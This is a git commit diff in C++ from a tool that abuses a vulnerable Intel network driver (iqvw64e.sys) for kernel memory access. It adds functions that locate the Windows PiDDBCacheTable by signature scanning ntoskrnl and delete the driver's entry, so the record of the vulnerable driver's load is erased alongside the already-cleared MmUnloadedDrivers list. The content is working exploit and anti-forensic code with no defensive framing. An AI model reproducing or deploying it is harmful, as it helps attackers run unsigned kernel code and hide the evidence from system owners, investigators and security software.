Implement clearing of PiDDBCacheTable

This commit is contained in:
olari
2019-10-25 23:04:37 +03:00
parent a70e816208
commit 4408833cde
5 changed files with 231 additions and 2 deletions

View File

@@ -37,6 +37,7 @@ void intel_driver::Unload(HANDLE device_handle)
std::cout << "[<] Unloading vulnerable driver" << std::endl;
ClearMmUnloadedDrivers(device_handle);
ClearPiDDBCacheTable(device_handle);
CloseHandle(device_handle);
service::StopAndRemove(driver_name);
@@ -368,3 +369,176 @@ bool intel_driver::ClearMmUnloadedDrivers(HANDLE device_handle)
return true;
}
bool LocatePiDDB(HANDLE device_handle, uint64_t* lock, uint64_t* table) {
auto kernel_base = utils::GetKernelModuleAddress("ntoskrnl.exe");
if (!kernel_base)
return false;
IMAGE_DOS_HEADER dos_header;
intel_driver::ReadMemory(device_handle, kernel_base, &dos_header, sizeof(dos_header));
if (dos_header.e_magic != IMAGE_DOS_SIGNATURE)
return false;
IMAGE_NT_HEADERS nt_headers;
intel_driver::ReadMemory(device_handle, kernel_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers));
if (nt_headers.Signature != IMAGE_NT_SIGNATURE)
return false;
std::vector<uint8_t> ntoskrnl_file(nt_headers.OptionalHeader.SizeOfImage);
if (!intel_driver::ReadMemory(device_handle, kernel_base, ntoskrnl_file.data(), nt_headers.OptionalHeader.SizeOfImage))
return false;
auto lock_sig = utils::FindPatternInVector(ntoskrnl_file, "48 8D 0D ? ? ? ? E8 ? ? ? ? 48 8B 0D ? ? ? ? 33 DB");
if (!lock_sig)
return false;
auto table_sig = utils::FindPatternInVector(ntoskrnl_file, "48 8D 0D ? ? ? ? E8 ? ? ? ? 3D ? ? ? ? 0F 83 ? ? ? ?");
if (!table_sig)
return false;
int lock_rel_addr;
if (!intel_driver::ReadMemory(device_handle, kernel_base + lock_sig + 3, &lock_rel_addr, sizeof(lock_rel_addr)))
return false;
int table_rel_addr;
if (!intel_driver::ReadMemory(device_handle, kernel_base + table_sig + 3, &table_rel_addr, sizeof(table_rel_addr)))
return false;
auto lock_addr = lock_sig + lock_rel_addr + 7;
auto table_addr = table_sig + table_rel_addr + 7;
*lock = kernel_base + lock_addr;
*table = kernel_base + table_addr;
return true;
}
bool intel_driver::ClearPiDDBCacheTable(HANDLE device_handle) {
uint64_t piddb_lock;
uint64_t piddb_cache_table;
if (!LocatePiDDB(device_handle, &piddb_lock, &piddb_cache_table))
return false;
// build lookup entry
nt::PiDDBCacheEntry lookup_entry{};
RtlInitUnicodeString(&lookup_entry.DriverName, L"iqvw64e.sys");
lookup_entry.TimeDateStamp = 0x5284EAC3;
// lock the table for safety
if (!ExAcquireResourceExclusiveLite(device_handle, piddb_lock, TRUE))
return false;
auto found_entry = (nt::PiDDBCacheEntry*)RtlLookupElementGenericTableAvl(device_handle, piddb_cache_table, &lookup_entry);
if (!found_entry) {
ExReleaseResourceLite(device_handle, piddb_lock);
return false;
}
// remove the entry from the list
if (!RemoveEntryList(device_handle, &found_entry->List)) {
ExReleaseResourceLite(device_handle, piddb_lock);
return false;
}
// remove the entry from the table
if (!RtlDeleteElementGenericTableAvl(device_handle, piddb_cache_table, &found_entry)) {
ExReleaseResourceLite(device_handle, piddb_lock);
return false;
}
// unlock the table
ExReleaseResourceLite(device_handle, piddb_lock);
return true;
}
void* intel_driver::RtlLookupElementGenericTableAvl(HANDLE device_handle, uint64_t table, void* buffer)
{
if (!table || !buffer)
return 0;
static uint64_t kernel_RtlLookupElementGenericTableAvl = 0;
if (!kernel_RtlLookupElementGenericTableAvl)
kernel_RtlLookupElementGenericTableAvl = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "RtlLookupElementGenericTableAvl");
void* result = 0;
if (!CallKernelFunction(device_handle, &result, kernel_RtlLookupElementGenericTableAvl, table, buffer))
return 0;
return result;
}
bool intel_driver::RtlDeleteElementGenericTableAvl(HANDLE device_handle, uint64_t table, void* buffer)
{
if (!table || !buffer)
return false;
static uint64_t kernel_RtlDeleteElementGenericTableAvl = false;
if (!kernel_RtlDeleteElementGenericTableAvl)
kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "RtlDeleteElementGenericTableAvl");
bool result = false;
if (!CallKernelFunction(device_handle, &result, kernel_RtlDeleteElementGenericTableAvl, table, buffer))
return 0;
return result;
}
bool intel_driver::ExAcquireResourceExclusiveLite(HANDLE device_handle, uint64_t resource, BOOLEAN wait)
{
if (!resource)
return false;
static uint64_t kernel_ExAcquireResourceExclusiveLite = false;
if (!kernel_ExAcquireResourceExclusiveLite)
kernel_ExAcquireResourceExclusiveLite = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExAcquireResourceExclusiveLite");
bool result = false;
if (!CallKernelFunction(device_handle, &result, kernel_ExAcquireResourceExclusiveLite, resource, wait))
return 0;
return result;
}
void intel_driver::ExReleaseResourceLite(HANDLE device_handle, uint64_t resource)
{
if (!resource)
return;
static uint64_t kernel_ExReleaseResourceLite = false;
if (!kernel_ExReleaseResourceLite)
kernel_ExReleaseResourceLite = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExReleaseResourceLite");
CallKernelFunction<void>(device_handle, nullptr, kernel_ExReleaseResourceLite, resource);
}
bool intel_driver::RemoveEntryList(HANDLE device_handle, PLIST_ENTRY Entry)
{
constexpr auto flink_offset = offsetof(LIST_ENTRY, Flink);
constexpr auto blink_offset = offsetof(LIST_ENTRY, Blink);
PLIST_ENTRY flink;
PLIST_ENTRY blink;
if (!ReadMemory(device_handle, (uint64_t)Entry + flink_offset, &flink, sizeof(flink)))
return false;
if (!ReadMemory(device_handle, (uint64_t)Entry + blink_offset, &blink, sizeof(blink)))
return false;
if (!WriteMemory(device_handle, (uint64_t)blink + flink_offset, &flink, sizeof(flink)))
return false;
if (!WriteMemory(device_handle, (uint64_t)flink + blink_offset, &blink, sizeof(blink)))
return false;
return true;
}

View File

@@ -77,6 +77,14 @@ namespace intel_driver
uint64_t GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name);
bool GetNtGdiDdDDIReclaimAllocations2KernelInfo(HANDLE device_handle, uint64_t* out_kernel_function_ptr, uint64_t* out_kernel_original_function_address);
bool ClearMmUnloadedDrivers(HANDLE device_handle);
bool ClearPiDDBCacheTable(HANDLE device_handle);
void* RtlLookupElementGenericTableAvl(HANDLE device_handle, uint64_t table, void* buffer);
bool RtlDeleteElementGenericTableAvl(HANDLE device_handle, uint64_t table, void* buffer);
bool ExAcquireResourceExclusiveLite(HANDLE device_handle, uint64_t resource, BOOLEAN wait);
void ExReleaseResourceLite(HANDLE device_handle, uint64_t resource);
bool RemoveEntryList(HANDLE device_handle, PLIST_ENTRY Entry);
template<typename T, typename ...A>
bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments)

View File

@@ -76,4 +76,21 @@ namespace nt
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef struct _RTL_BALANCED_LINKS
{
struct _RTL_BALANCED_LINKS* Parent;
struct _RTL_BALANCED_LINKS* LeftChild;
struct _RTL_BALANCED_LINKS* RightChild;
CHAR Balance;
UCHAR Reserved[3];
} RTL_BALANCED_LINKS, * PRTL_BALANCED_LINKS;
struct PiDDBCacheEntry {
LIST_ENTRY List;
UNICODE_STRING DriverName;
ULONG TimeDateStamp;
NTSTATUS LoadStatus;
char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers
};
}

View File

@@ -66,3 +66,31 @@ uint64_t utils::GetKernelModuleAddress(const std::string& module_name)
VirtualFree(buffer, 0, MEM_RELEASE);
return 0;
}
uint64_t utils::FindPatternInVector(const std::vector<uint8_t>& vector, const std::string& pattern) {
using sig_byte = std::pair<uint8_t, bool>;
std::vector<sig_byte> sig;
for (auto i = 0; i < pattern.length() - 1; i += 2) {
if (pattern[i] == '?') {
sig.emplace_back(std::make_pair('\x00', true));
}
else {
sig.emplace_back(std::make_pair((uint8_t)std::stoi(pattern.substr(i, 2), nullptr, 16), false));
i++;
}
}
auto offset = std::search(
vector.begin(),
vector.end(),
sig.begin(), sig.end(),
[](uint8_t current_byte, sig_byte current_sig_byte) {
// if wildcard or matching
return current_sig_byte.second || (current_byte == current_sig_byte.first);
});
std::vector<uint8_t> result(offset, offset + sig.size());
return offset == vector.end() ? 0 : std::distance(vector.begin(), offset);
}

View File

@@ -6,6 +6,7 @@
#include <string>
#include <iostream>
#include <fstream>
#include <algorithm>
#include "nt.hpp"
@@ -14,4 +15,5 @@ namespace utils
bool ReadFileToMemory(const std::string& file_path, std::vector<uint8_t>* out_buffer);
bool CreateFileFromMemory(const std::string& desired_file_path, const char* address, size_t size);
uint64_t GetKernelModuleAddress(const std::string& module_name);
uint64_t FindPatternInVector(const std::vector<uint8_t>& vector, const std::string& pattern);
}